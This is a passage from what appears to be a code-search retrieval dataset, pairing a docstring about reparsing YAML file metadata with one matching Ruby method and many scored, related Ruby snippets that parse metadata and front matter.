"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.48609918",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.48609918",
"text": "def output; end",
"title": ""
}
] |
7c7b7a0de40ec9af1d10cea5dbb03318
|
Public: Metadata as extracted from the file reparse Force reparsing of raw metadata (if blob's changed) Returns the Yaml parsed version of raw_meta_data
|
[
{
"docid": "7dcd855ba79d33f56ae93e8f3cd1f0fe",
"score": "0.7228375",
"text": "def meta_data(reparse = false)\n return @meta if @meta && !reparse\n if data = raw_meta_data\n @meta = YAML.load(data)\n else\n @meta = {}\n end\n end",
"title": ""
}
] |
[
{
"docid": "8cb50c74b1c4dc40e4cec4927c6a6593",
"score": "0.7069947",
"text": "def metadata(raw)\n raw.match data_regex\n OpenStruct.new YAML.load($1) if $1\n end",
"title": ""
},
{
"docid": "a2003e2828b2cf55387bba26539e1bff",
"score": "0.70054066",
"text": "def raw_meta_data\n data = raw_data\n if data\n # Check presence of metadata section\n if data !~ /\\A-{3,5}\\s*$/\n return false\n end\n\n # Split data\n pieces = data.split(/^(-{5}|-{3})\\s*$/)\n if pieces.size < 4\n raise RuntimeError.new(\n \"The file '#{content_filename}' appears to start with a metadata section (three or five dashes at the top) but it does not seem to be in the correct format.\"\n )\n end\n\n pieces[2]\n else\n data\n end\n end",
"title": ""
},
{
"docid": "f3d7ced4aea9c5368c05fa7fa7f1a08e",
"score": "0.68964404",
"text": "def meta_data\n return if meta_end.nil?\n\n @io.seek 0\n buffer = @io.gets\n while (line = @io.gets) !~ META_SEP\n buffer << line\n end\n\n yaml_load_erb(buffer)\n end",
"title": ""
},
{
"docid": "e57171d3f27f441256056544bb5a70cb",
"score": "0.67446923",
"text": "def raw_metadata\n contents.scan(METADATA_RE)\n end",
"title": ""
},
{
"docid": "21108fea99c7e5423b5f8ee0bc7bc4f5",
"score": "0.6558341",
"text": "def metadata\n unless @metadata\n @metadata = MetaData.new\n file_contents.each do |line|\n if line =~ /^# (#{MetaData::Keys.join('|')}): (.+)/\n @metadata[$1.downcase.to_sym] = $2.strip\n @file_contents.delete(line)\n end\n end\n end\n @metadata\n end",
"title": ""
},
{
"docid": "2447b9465d6bb8b2e55de9d14dee442a",
"score": "0.6411894",
"text": "def metadata\n return @metadata if defined? @metadata\n\n @metadata = Yomu.read :metadata, data\n end",
"title": ""
},
{
"docid": "5cb18b1279068d875e74b40372a3a3ec",
"score": "0.6362006",
"text": "def meta_yaml\n if !(!is_leaf? && !File.exist?(meta_file))\n passed = false\n out = \"\"\n File.open(filename).each_line do |line|\n passed = true if line == \"\\n\"\n break if passed\n out << line\n end\n YAML::load(out)\n else\n {:name => raw_name}\n end\n end",
"title": ""
},
{
"docid": "a1f2e06230def3d23fb94e7870d132fb",
"score": "0.6264249",
"text": "def raw_text_data\n data = raw_data\n if data\n # Check presence of metadata section\n if data !~ /\\A-{3,5}\\s*$/\n return data\n end\n\n # Split data\n pieces = data.split(/^(-{5}|-{3})\\s*$/)\n if pieces.size < 4\n raise RuntimeError.new(\n \"The file '#{content_filename}' appears to start with a metadata section (three or five dashes at the top) but it does not seem to be in the correct format.\"\n )\n end\n\n pieces[4..-1].join.strip\n else\n data\n end\n end",
"title": ""
},
{
"docid": "09b55c6999ace614a63aaf54813963f1",
"score": "0.6171538",
"text": "def metadata\n @metadata ||= format_metadata(parser_metadata)\n end",
"title": ""
},
{
"docid": "13154d84f9f94722193ac99a3727b032",
"score": "0.6074645",
"text": "def metadata\n # @metadata ||= \n get_raw_metadata\n end",
"title": ""
},
{
"docid": "58b80dc76924006965cb397e4d221749",
"score": "0.6073232",
"text": "def load\n contents = File.read File.join(full_source_path)\n if contents =~ /^(---\\s*\\n.*?)\\n---\\s*\\n/m\n @source_content, @source_metadata = contents[($1.size + 5) .. -1], YAML.load($1)\n else\n @source_content, @source_metadata = contents, {}\n end\n @source_metadata.symbolize_keys\n end",
"title": ""
},
{
"docid": "7647b15ddc383e94042f0bccb5193a0b",
"score": "0.6044851",
"text": "def meta_data\n Marshal.load(read_attribute(:meta_data))\n end",
"title": ""
},
{
"docid": "ceeb90305471d0651af00a07ac0a737d",
"score": "0.6027843",
"text": "def metadata\n @metadata ||= Metadata.new(self.raw.metadata(path: \"/\"))\n end",
"title": ""
},
{
"docid": "65a055f86c8c315fa88fbd2f6d0e8df8",
"score": "0.5968066",
"text": "def metadata\n @metadata ||= metadata_files.inject({}) do |metadata, file|\n metadata.update(YAML.load_file file)\n end\n end",
"title": ""
},
{
"docid": "40c22905070fec2676c4747a83fa51dd",
"score": "0.59071314",
"text": "def data\n @data ||= YAML.load(raw_yaml)\n end",
"title": ""
},
{
"docid": "34af6ade7573582bb31aa31d850f93cd",
"score": "0.58855414",
"text": "def yaml_content\n @yaml_content ||= YAML.load(raw_content)\n end",
"title": ""
},
{
"docid": "a95cff293da9a25f706dcdfaaaa580f5",
"score": "0.58635634",
"text": "def read_metadata_yaml_file\n begin\n data = yaml_load_file metadata_yaml_file\n return unless data.is_a? Hash\n data\n rescue => exception\n debug \"Error parsing metadata file: '#{metadata_yaml_file}': #{exception.message}\"\n nil\n end\n end",
"title": ""
},
{
"docid": "856eb347f6319874151375ff1437861b",
"score": "0.5801683",
"text": "def read_metadata\n meta = read_pairs!(\"metadata.txt\")\n meta.views = meta.views.split\n meta.tags = meta.tags.split\n RuneBlog.blog.post = meta\n meta\n end",
"title": ""
},
{
"docid": "d866c1eff6e31526fa49d46874c694e4",
"score": "0.57983017",
"text": "def metadata\n metadata_file = File.join(@stubs_dir, \"metadata.yml\")\n YAML::load_file(metadata_file)\n rescue Errno::ENOENT\n Rango.logger.fatal(\"Rango expected '#{metadata_file}'\")\n end",
"title": ""
},
{
"docid": "0f92a212e4412b0001f812b0db6073ae",
"score": "0.5785851",
"text": "def eval_metadata(raw_response)\n clean_response = raw_response.split(\"\\n\").select do |line|\n line.strip!\n line !~ /^(long_)*description|^recipe|^maintainer.*|^license/\n end\n\n metadata = Ridley::Chef::Cookbook::Metadata.new\n metadata.instance_eval clean_response.join(\"\\n\")\n metadata\n end",
"title": ""
},
{
"docid": "8b8170a52fe4594ca3328aaf99c5682c",
"score": "0.57786244",
"text": "def read_file\n\n self.content = File.read(@filename)\n\n # Define a regular expression to find the YAML header Use the back \n # reference to load the metadata and the postmatch to load the \n # content.\n begin\n if /^(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m.match(self.content)\n self.metadata = YAML.load($1)\n self.content = $'\n end\n rescue => e\n puts \"YAML exception reading #{filename}: #{e.message}\"\n end\n\n end",
"title": ""
},
{
"docid": "9ba47b4e42b29ab215e898f8cc96860b",
"score": "0.5763212",
"text": "def meta\n file.meta\n end",
"title": ""
},
{
"docid": "9ba47b4e42b29ab215e898f8cc96860b",
"score": "0.5763212",
"text": "def meta\n file.meta\n end",
"title": ""
},
{
"docid": "424bb0a467838ea0c5eacad14a1afc95",
"score": "0.57603866",
"text": "def meta\n @meta ||= begin\n line = lines.first.squish\n _, language, file, modifier, reference = *line.match(/^([^ ]+)(?: ([^:#]+)(?:(:|#)(.*?))?)?$/)\n\n if modifier == \"#\"\n type = :block\n elsif modifier == \":\"\n type = :range\n elsif file\n type = :file\n else\n type = :inline\n end\n\n {\n :language => language,\n :file => file,\n :type => type,\n :reference => reference\n }\n end\n end",
"title": ""
},
{
"docid": "a08ecbe469dad68d36ca01dfea71e85e",
"score": "0.57595867",
"text": "def parse_raw_data(raw_data); end",
"title": ""
},
{
"docid": "c0560ccc6dc8e73d5e8e0215e16508f9",
"score": "0.5722383",
"text": "def read_metadata\n path = @mds.first\n unless path\n abort \"Must exist a markdown filename which have Yaml Front Matter.\"\n end\n yml, _ = Maliq::FileUtils.retrieveYFM(File.read path)\n return nil if yml.empty?\n metadata = YAML.load(yml).to_symkey\n\n meta_nodes = GEPUB::Metadata::CONTENT_NODE_LIST + [\"unique_identifier\"]\n metadata.select { |k, _| meta_nodes.include? k.to_s }\n end",
"title": ""
},
{
"docid": "20996427ed076fa9617d9caa9557322d",
"score": "0.5685778",
"text": "def get_meta(path)\n\n # read file (first 8K would suffice)\n src = File.read(path, 1<<13, 0, :encoding=>'ASCII-8BIT')\n fields = { \"pack\" => \"\" }\n\n # extract first comment block,\n if src and src =~ /( \\/\\*+ .+? \\*\\/ | (?:[ \\t]* \\* | \\#(?!!) [^\\n]*\\n)+ )/mix\n src = $1.gsub(/^[ \\t\\*\\/\\#]+/, \"\").to_s # does not honor indentation\n\n # split meta block from comment (on first empty line)\n src, fields[\"comment\"] = src.split(/\\r?\\n\\r?\\n/, 2) # eh, Ruby, Y U NO PROVIDE \\R ?\n # split key: value fields\n fields.merge!(Hash[\n src.to_s.scan(/^([\\w-]+): [[:blank:]]* ([^\\n]* (?:\\n (?![\\w-]+:) [^\\n]+)* )/x).map{ |k,v| [k.downcase, v] }\n ])\n\n # use input basename or id: field as package name\n fields[\"id\"] = fields[\"id\"] || path.match(/([^\\/]+?)(\\.\\w+)?\\Z/)[1]\n # split up pack: comma-separated list, don't expand src=dest yet\n#p fields\n fields[\"pack\"] = fields[\"pack\"].split(/(?<!\\\\)[,\\s]+/)\n else \n fields[\"pack\"] = []\n end\n return fields\n end",
"title": ""
},
{
"docid": "1ba312c9cf557ef6f58531b156b1ee3b",
"score": "0.56700563",
"text": "def load_metadata\n ret = tar.seek('metadata.yml') do |entry|\n OsCtl::Lib::ConfigFile.load_yaml(entry.read)\n end\n fail 'metadata.yml not found' unless ret\n @metadata = ret\n ret\n end",
"title": ""
},
{
"docid": "85aa25a1e1078cb43ab8f609644cc7eb",
"score": "0.56573147",
"text": "def metadata(full_name)\n begin\n metadata_raw = @github_access.contents(full_name, path: '/metadata.yml', accept: 'application/vnd.github.raw')\n rescue Octokit::NotFound\n return ErrorExchange.new(:spin_get_metadata_from_provider, nil, {})\n end\n\n begin\n metadata_json = JSON.parse(JSON.dump(YAML.safe_load(metadata_raw)))\n unless metadata_json.nil?\n JSON::Validator.validate!(SPIN_SCHEMA, metadata_json)\n return [metadata_raw, metadata_json]\n end\n return ErrorExchange.new(:spin_metadata_to_json, nil, {})\n rescue TypeError, JSON::ParserError, JSON::Schema::ValidationError => e\n return ErrorExchange.new(:spin_error_metadata, nil, {error: e.to_json})\n end\n end",
"title": ""
},
{
"docid": "1c72ce9b8dc41690393366ea07a6d978",
"score": "0.5648622",
"text": "def meta\n @meta ||= YAML.load(description) || {}\n end",
"title": ""
},
{
"docid": "8417a371ed79b1abe3d3c4acc0e6b8ff",
"score": "0.56437045",
"text": "def meta\n @meta ||= parsed_response[:meta]\n end",
"title": ""
},
{
"docid": "b69ca772599e8008fee94300c6774a2e",
"score": "0.56420374",
"text": "def update_file_meta_data\n if file.present? && file_changed?\n self.filename = read_attribute(:file)\n self.content_type = file.file.content_type unless file.file.content_type.blank?\n self.file_size = file.file.size unless file.file.size.blank?\n end\n end",
"title": ""
},
{
"docid": "b69ca772599e8008fee94300c6774a2e",
"score": "0.56420374",
"text": "def update_file_meta_data\n if file.present? && file_changed?\n self.filename = read_attribute(:file)\n self.content_type = file.file.content_type unless file.file.content_type.blank?\n self.file_size = file.file.size unless file.file.size.blank?\n end\n end",
"title": ""
},
{
"docid": "ee6155eaacb5aad98297e57dc4fa87d5",
"score": "0.5639367",
"text": "def parse_metadata(dropbox_raw_response) # :nodoc:\n begin\n raw_metadata = dropbox_raw_response['x-dropbox-metadata']\n metadata = JSON.parse(raw_metadata)\n rescue\n raise DropboxError.new(\"Dropbox Server Error: x-dropbox-metadata=#{raw_metadata}\",\n dropbox_raw_response)\n end\n metadata\n end",
"title": ""
},
{
"docid": "bbd16e976c643b6275a9c9844115abe0",
"score": "0.56294847",
"text": "def extract_meta(data)\n file, brief, defgroup, ingroup = nil\n data.each do |block|\n block[:comments].each_line do |comment|\n m = []\n file = m[1] if m = /@file (.*?)$/.match(comment)\n brief = m[1] if m = /@brief (.*?)$/.match(comment)\n defgroup = m[1] if m = /@defgroup (.*?)$/.match(comment)\n ingroup = m[1] if m = /@ingroup (.*?)$/.match(comment)\n end\n end\n {:file => file, :brief => brief, :defgroup => defgroup, :ingroup => ingroup}\n end",
"title": ""
},
{
"docid": "60c5fe63f20fd86e3216f3eb79d436d5",
"score": "0.5627264",
"text": "def preprocess_rawfile(raw)\n raw[:id] = raw[:url] if raw.key?(:url) && !raw.key?(:id)\n raw\n end",
"title": ""
},
{
"docid": "89f1f162ecf1e09b1948ba6821990419",
"score": "0.56191087",
"text": "def load_meta cache = true\n meta = if @meta_path.extname == '.yml'\n contents = begin\n @meta_path.read\n rescue Exception => error\n raise QB::Role::MetadataError,\n \"Failed to read metadata file at #{ @meta_path.to_s }, \" +\n \"error: #{ error.inspect }\"\n end\n \n begin\n YAML.load(contents) || {}\n rescue Exception => error\n raise QB::Role::MetadataError,\n \"Failed to load metadata YAML from #{ @meta_path.to_s }, \" +\n \"error: #{ error.inspect }\"\n end\n else\n YAML.load(Cmds.out!(@meta_path.realpath.to_s)) || {}\n end\n \n if cache\n @meta = meta\n end\n \n meta\n end",
"title": ""
},
{
"docid": "db896492af4df043fe6ad927439132f9",
"score": "0.5618784",
"text": "def metadata\n metadata_file = File.join(self.path, \"metadata.yml\")\n YAML::load_file(metadata_file)\n rescue Errno::ENOENT\n abort \"SimpleTemplater expected '#{metadata_file}'\"\n end",
"title": ""
},
{
"docid": "ccaebd16da116b5c793ae13abad1386a",
"score": "0.56018704",
"text": "def parse(content_filename, meta_filename, kind)\n # Read content and metadata from separate files\n if meta_filename\n content = content_filename ? read(content_filename) : ''\n meta_raw = read(meta_filename)\n begin\n meta = YAML.load(meta_raw) || {}\n rescue Exception => e\n raise \"Could not parse YAML for #{meta_filename}: #{e.message}\"\n end\n return [ meta, content ]\n end\n\n # Read data\n data = read(content_filename)\n\n # Check presence of metadata section\n if data !~ /\\A-{3,5}\\s*$/\n return [ {}, data ]\n end\n\n # Split data\n pieces = data.split(/^(-{5}|-{3})\\s*$/)\n if pieces.size < 4\n raise RuntimeError.new(\n \"The file '#{content_filename}' appears to start with a metadata section (three or five dashes at the top) but it does not seem to be in the correct format.\"\n )\n end\n\n # Parse\n begin\n meta = YAML.load(pieces[2]) || {}\n rescue Exception => e\n raise \"Could not parse YAML for #{content_filename}: #{e.message}\"\n end\n content = pieces[4..-1].join.strip\n\n # Done\n [ meta, content ]\n end",
"title": ""
},
{
"docid": "97702c816fc3cdafe7ca5ba1e17cee15",
"score": "0.55938387",
"text": "def reload_metadata(cookbook)\n file = cookbook.root_filenames.find { |x| File.basename(x) == \"metadata.json\" }\n cookbook.metadata.from_json(IO.read(file))\n end",
"title": ""
},
{
"docid": "1304d3f8a6d26df6b306059ddfe2373a",
"score": "0.5567332",
"text": "def meta_decode(meta)\n Marshal.load(Base64.decode64(meta))\n end",
"title": ""
},
{
"docid": "e9ff8106a9e7e69f87be049df6421935",
"score": "0.55593497",
"text": "def raw_metadata\n return @metadata unless @metadata.nil?\n return nil if @metadata == false\n\n response = RestClient.get \"#{DATACITE_BASE}#{CGI.escape(@doi)}\", accept: 'application/citeproc+json'\n @metadata = JSON.parse(response.body)\n rescue RestClient::Exception, Errno::ECONNREFUSED, JSON::ParserError => e\n logger.error(\"#{Time.new.utc} Could not get response from DataCite for metadata lookup #{@doi}\")\n logger.error(\"#{Time.new.utc} #{e}\")\n @metadata = false\n nil\n end",
"title": ""
},
{
"docid": "fd5ea78d0d867c98e8fd37322eab0ad3",
"score": "0.5545321",
"text": "def raw_yaml\n @raw_yaml ||= open(url).read\n end",
"title": ""
},
{
"docid": "f56f7a49d540c353ffff437da2099342",
"score": "0.5539296",
"text": "def parse_metadata\n metadata = self.metadata\n\n if metadata.nil? || metadata.empty? \n metadata = '{}'\n end\n \n JSON.parse(metadata.gsub('=>', ':'))\n end",
"title": ""
},
{
"docid": "7625cf1c887f87f30db4c1b13c61e7ed",
"score": "0.5527485",
"text": "def read_yaml\n self.content = File.read(self.file)\n\n begin\n if self.content =~ /^(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n self.content = Redcarpet::Markdown.new(\n Redcarpet::Render::HTML,\n :autolink => true,\n :fenced_code_blocks => true\n ).render($POSTMATCH)\n self.data = YAML.load($1)\n end\n rescue => e\n puts \"YAML Exception reading #{self.file}: #{e.message}\"\n end\n\n self.data ||= {}\n end",
"title": ""
},
{
"docid": "73a6a94d55439f8e8d98498dabdf4cbd",
"score": "0.5526089",
"text": "def extract_metadata\n if File.exist?(self)\n leader = Util.read_file(self).split(/^#/)[0].strip\n leader.length > 0 ? leader.get_metadata : {}\n else\n {}\n end\n end",
"title": ""
},
{
"docid": "d485bac0a8b7b5d8b142bfa8d1da942f",
"score": "0.5519846",
"text": "def metadata\n @metadata ||= (\n if File.file?('.ruby')\n data = YAML.load(File.new('.ruby'))\n else\n data = {}\n end\n data['title'] = title if title\n data\n )\n end",
"title": ""
},
{
"docid": "8ca813dd23bd776233aed02f21bd9181",
"score": "0.54907876",
"text": "def get_metadata_and_content(filename)\n metadata = Hash.new\n content = ''\n in_meta = false\n lc = 0\n f = File.open(filename, 'r')\n f.each_line do |line|\n lc += 1\n if lc == 1 && line.start_with?('---')\n in_meta = true\n elsif lc > 1 && in_meta && line.start_with?('---')\n in_meta = false\n else\n if in_meta\n bits = line.rstrip.split(': ') # extra space means trim each bit\n fatal(\"Expected key=value, got #{line}\") unless bits.length == 2\n fatal(\"Key is empty in #{line}\") unless bits[0].length > 0\n fatal(\"Value is empty in #{line}\") unless bits[1].length > 0\n metadata[bits[0]] = bits[1]\n else\n content += (line.rstrip + \"\\n\")\n end\n end\n end\n { metadata: metadata, content: content }\nend",
"title": ""
},
{
"docid": "da6907891483a6b751cce1dcd37ed4f4",
"score": "0.54773766",
"text": "def original_data\n return @original_data if @original_data\n if target_yaml_file?\n @original_data = read_from_file resource[:path]\n return @original_data if @original_data\n end\n if original_data_file?\n @original_data = read_from_file resource[:original_data]\n return @original_data if @original_data\n end\n unless resource[:original_data].is_a? Hash or resource[:original_data].is_a? Array\n fail \"The original_data should be either a path to the YAML file or the data structure! Got: #{resource[:original_data]}\"\n end\n @original_data = resource[:original_data]\n end",
"title": ""
},
{
"docid": "3827d53cda34063898864b22bca83118",
"score": "0.5477178",
"text": "def load_raw_yaml(filepath)\n return nil unless filepath && ::File.readable?(filepath)\n YAML.load_file(filepath).each_with_object({}) do |(k, v), h|\n h[k.to_sym] = v\n end\n end",
"title": ""
},
{
"docid": "993314cbec6661fc4e336d91a5337682",
"score": "0.54737735",
"text": "def with_replaced_metadata(meta); end",
"title": ""
},
{
"docid": "1c0978c5d6ef5ebc4bb9acc97b5bc62a",
"score": "0.547304",
"text": "def metadata\n Chef::JSONCompat.parse(Chef::FileCache.load(metadata_filename))\n rescue Chef::Exceptions::FileNotFound\n {}\n end",
"title": ""
},
{
"docid": "3a8662d0bdb78c047f9c47cbe04b8172",
"score": "0.54702353",
"text": "def extract_metadata\n @metadata = {}\n\n convert do |current|\n current.each_line.drop_while do |line|\n next false if line !~ /^#\\+([a-z_]+): (.*)/\n\n key, value = $1, $2\n @metadata[key.to_sym] = value\n end.join('')\n end\n end",
"title": ""
},
{
"docid": "7736aa524d3e10bbefbc7c0956ba18b9",
"score": "0.5469411",
"text": "def meta\n @meta ||= LicenseMeta.from_yaml(yaml)\n end",
"title": ""
},
{
"docid": "ea14052c9c63658f691317b7ed8252ad",
"score": "0.5467108",
"text": "def metadata = markdown_page.data",
"title": ""
},
{
"docid": "740237b8964ded3561dd546711c73505",
"score": "0.5465221",
"text": "def metadata=(raw_metadata)\n if raw_metadata.instance_of? XDS::Metadata\n super\n elsif raw_metadata.kind_of?(String)\n super YAML.load(raw_metadata) \n else\n raw_metadata[:source_patient_info] = patient.source_patient_info\n md = XDS::Metadata.new\n md.from_hash(raw_metadata, AFFINITY_DOMAIN_CONFIG)\n md.repository_unique_id = Setting.xds_repository_unique_id\n md.patient_id = patient.patient_identifier\n super md\n end\n end",
"title": ""
},
{
"docid": "56c6d7760afd7acbcdf42317b182da90",
"score": "0.54633224",
"text": "def load_raw_yaml(filepath)\n return nil unless filepath && File.readable?(filepath)\n YAML.load_file(filepath).each_with_object({}) do |(k, v), h|\n h[k.to_sym] = v\n end\n end",
"title": ""
},
{
"docid": "71213904139cb20fd9d91e935f7a4a15",
"score": "0.54472244",
"text": "def parse_markdown_file(filepath)\n metadata = nil\n markdown = nil\n\n mdfile = (filepath + \".markdown\" unless filepath.end_with? (\".markdown\"))\n\n md = File.read(mdfile)\n if match = md.match(/(<meta>)([\\S\\s]+)(<\\/meta>)/)\n x, metadata, y = match.captures\n #puts metadata \n metadata = YAML.load metadata\n markdown = md.gsub(/<meta>[\\S\\s]+<\\/meta>/, \"\")\n else \n markdown = md\n end\n \n return metadata, markdown\nend",
"title": ""
},
{
"docid": "779c9331a652bccd13f7c5c01d070afd",
"score": "0.5441274",
"text": "def get_raw\n \t @data ||= File.read raw_path\n end",
"title": ""
},
{
"docid": "9effa215cf93582c65eaff719aafe2e8",
"score": "0.5432409",
"text": "def load_metadata\n begin\n load(::File.join(RightScale::AgentConfig.cloud_state_dir, 'meta-data.rb'))\n rescue Exception => e\n raise \"FATAL: Cannot load metadata from #{meta_data_file}\"\n end\nend",
"title": ""
},
{
"docid": "252d27bc6fb3ad481c00eea306b34fc7",
"score": "0.54128766",
"text": "def _edit_metadata\n return yield @_metadata if @_metadata\n _with_lock do |io|\n io.seek(0)\n raw = io.read()\n @_metadata = begin\n raw.length == 0 ? _default_meta.dup : Marshal.load(raw)\n rescue ArgumentError, TypeError\n Log.warn(\"FILECACHE resetting broken metatada\")\n _default_meta.dup\n end\n\n begin\n yield @_metadata\n ensure\n # Log.debug(\"FILECACHE metadata before write #{@_metadata.inspect}\")\n raw = Marshal.dump(@_metadata)\n\n io.seek(0)\n io.truncate(raw.bytesize)\n io.write(raw)\n io.flush\n @_metadata = nil\n end\n end\n end",
"title": ""
},
{
"docid": "1ce930cd776a1496ec91cd50e0cb6394",
"score": "0.5408838",
"text": "def parse_file(filename, kind)\n # Split file\n pieces = File.read(filename).split(/^(-{5}|-{3})/).compact\n if pieces.size < 3\n raise RuntimeError.new(\n \"The file '#{filename}' does not seem to be a nanoc #{kind}\"\n )\n end\n\n # Parse\n meta = YAML.load(pieces[2]) || {}\n content = pieces[4..-1].join.strip\n\n [ meta, content ]\n end",
"title": ""
},
{
"docid": "bf339b86513587232d68af87fd27ef08",
"score": "0.540099",
"text": "def update_file_metadata( data = asset_store.read_original(self) )\n update_attributes!( :file_size => data.bytesize, :file_hash => Digest::SHA1.hexdigest( data ) )\n end",
"title": ""
},
{
"docid": "7098fafb44a75a744c19b1e7b62340b2",
"score": "0.53969544",
"text": "def metadata\n YAML.load_file(File.join(Rails.root, \"config\", \"metadata.yml\"))\n end",
"title": ""
},
{
"docid": "a2e80d08536dd6966425a07861f75a64",
"score": "0.5384773",
"text": "def parse!\n self.fields = []\n\n lines = source.split(/(^:[0-9A-Z]{2,3}:)/m).reject(&:empty?).each_slice(2).map(&:join)\n\n lines.map do |line|\n if line =~ /\\A:86:/\n if field = fields.last\n field.add_meta_data(line)\n end\n else\n field = Field.parse(line)\n fields << field unless field.nil?\n end\n end\n end",
"title": ""
},
{
"docid": "ad8727150e1527119813477a3d0fd22c",
"score": "0.53830296",
"text": "def meta_data\n @_meta_data ||= begin\n rmagick = self.image.first\n \n ImageData.new(rmagick.base_columns, rmagick.base_rows, rmagick.format, rmagick.image_type) if rmagick\n end\n end",
"title": ""
},
{
"docid": "fab276e8611107d8cc2fadd6dc22c1a6",
"score": "0.53753245",
"text": "def get_data(prefix, name)\n f = File.open(\"data/#{prefix}/#{name}.md\")\n contents = f.read\n f.close\n metadata = YAML.load(contents)\n metadata[\"text\"] = Redcarpet::Markdown.new(Redcarpet::Render::HTML).render(contents.gsub(/---(.|\\n)*---/, \"\"))\n return metadata\n end",
"title": ""
},
{
"docid": "4f56ba867b4f87ab3e12ffd17af60dfe",
"score": "0.5372187",
"text": "def parse_source_metadata\n @src.pos += @src.matched_size\n @root.options[:metadata][:source] = @src[2][1..-2].rstrip\n end",
"title": ""
},
{
"docid": "abfd586191378a46fe35ab2b502ca720",
"score": "0.53690845",
"text": "def get_raw_metadata\n\n # Typical example of the content return from Spotlight.\n # Not all of this content is useful to us, and some attributes will be removed\n # \n # {\n # \"kMDItemFSLabel\" =>140733193388032, \n # \"kMDItemPageHeight\" =>2.68195104565268e-314, \n # \"kMDItemKind\" =>\"Portable Document Format (PDF)\", \n # \"kMDItemFSCreatorCode\" =>140733193388032, \n # \"kMDItemFSFinderFlags\" =>140733193388032, \n # \"kMDItemFSTypeCode\" =>140733193388032, \n # \"kMDItemFSNodeCount\" =>140733193388032, \n # \"kMDItemLastUsedDate\" =>Tue Jul 06 18:53:54 +1000 2010, \n # \"kMDItemSecurityMethod\" =>\"None\", \n # \"kMDItemPageWidth\" =>2.68424562188595e-314, \n # \"kMDItemFSContentChangeDate\" =>Tue Jul 06 18:53:54 +1000 2010, \n # \"kMDItemVersion\" =>\"1.4\", \n # \"kMDItemFSHasCustomIcon\" =>nil, \n # \"kMDItemFSInvisible\" =>nil, \n # \"kMDItemFSCreationDate\" =>Tue Jul 06 18:53:54 +1000 2010, \n # \"kMDItemEncodingApplications\" =>[\"Adobe PDF Library 8.0\"], \n # \"kMDItemFSOwnerUserID\" =>501, \n # \"kMDItemCreator\" =>\"Adobe InDesign CS3 (5.0.4)\", \n # \"kMDItemContentModificationDate\" =>Tue Jul 06 18:53:54 +1000 2010, \n # \"kMDItemFSIsStationery\" =>nil, \n # \"kMDItemFSName\" =>\"example.pdf\", \n # \"kMDItemContentCreationDate\" =>Tue Jul 06 18:53:54 +1000 2010, \n # \"kMDItemNumberOfPages\" =>140733193388034, \n # \"kMDItemDisplayName\" =>\"example.pdf\", \n # \"kMDItemFSIsExtensionHidden\" =>nil, \n # \"kMDItemFSSize\" =>249309, \n # \"kMDItemContentType\" =>\"com.adobe.pdf\", \n # \"kMDItemFSOwnerGroupID\" =>20, \n # \"kMDItemUsedDates\" =>[Tue Jul 06 00:00:00 +1000 2010], \n # \"kMDItemContentTypeTree\" =>[\"com.adobe.pdf\", \"public.data\", \"public.item\", \"public.composite-content\", \"public.content\"]\n # }\n # \n\n raw = Candle::Base.new(asset.path)\n raw.indexed? ? raw.metadata : nil\n\n end",
"title": ""
},
{
"docid": "7b3ff559f62c0533fa00521fc555ab9d",
"score": "0.53618985",
"text": "def custom_metadata\n custom_meta = custom_metadata_original\n rotate_to = model.rotate_to.nil? ? 0 : model.rotate_to\n if rotate_to != 0\n custom_meta[\"x-amz-meta-rotate\"] = rotate_to.to_s\n end\n crop = ImageCrop.from_json(model.crop_json)\n unless crop.nil?\n custom_meta[\"x-amz-meta-crop-top\"] = crop.top.to_s\n custom_meta[\"x-amz-meta-crop-left\"] = crop.left.to_s\n custom_meta[\"x-amz-meta-crop-bottom\"] = crop.bottom.to_s\n custom_meta[\"x-amz-meta-crop-right\"] = crop.right.to_s\n end\n custom_meta\n end",
"title": ""
},
{
"docid": "be59e186fac6ab1a6139fca87000b8c7",
"score": "0.53561664",
"text": "def metadata_file\n 'metadata.yml'\n end",
"title": ""
},
{
"docid": "daf8465f439167d8721638a91bfb6cdd",
"score": "0.5353798",
"text": "def parse_summary_metadata\n @src.pos += @src.matched_size\n @root.options[:metadata][:summary] = @src[2].rstrip\n end",
"title": ""
},
{
"docid": "422129bc19102e888e37741f257aa1b5",
"score": "0.5348007",
"text": "def metadata\n @meta_data\n end",
"title": ""
},
{
"docid": "66930904adc4f789d77521484efa2c51",
"score": "0.5346403",
"text": "def meta(data)\n if data.nil?\n return JSON.parse(metadata)\n elsif not data.nil?\n metadata = data.to_json\n end\n end",
"title": ""
},
{
"docid": "38bcaa3cbde4b055c6e7f429bae05b70",
"score": "0.5335818",
"text": "def parseMetaData(path)\n #Gitchefsync.logger.debug \"Parsing metadata: #{path}\"\n if !File.exists?(File.join(path, \"metadata.rb\"))\n raise NoMetaDataError\n end\n contents = \"\"\n begin\n file = File.new(File.join(path, \"metadata.rb\"), \"r\")\n\n contents = file.read\n version = attr_val(contents,\"version\")\n name = attr_val(contents,\"name\")\n\n if name.nil?\n Gitchefsync.logger.warn \"event_id=parse_meta_err_name:msg=cannot be resolved, deferring to directory name #{path}\"\n name = File.basename path\n end\n #parse maintainer information\n maintainer = attr_val(contents,\"maintainer\")\n email = attr_val(contents,\"maintainer_email\")\n\n #puts \"matched:#{name}:#{version}\"\n return Cookbook.new(name, version,maintainer,email)\n rescue Exception => e\n puts e.backtrace\n Gitchefsync.logger.error \"#{e.backtrace}\"\n raise KnifeError, \"Unable to parse data: file=#{path}/metadata.rb #{contents}\"\n ensure\n file.close unless file.nil?\n end\n end",
"title": ""
},
{
"docid": "2cd959d8f0879bb54177dda311adb5e0",
"score": "0.53294396",
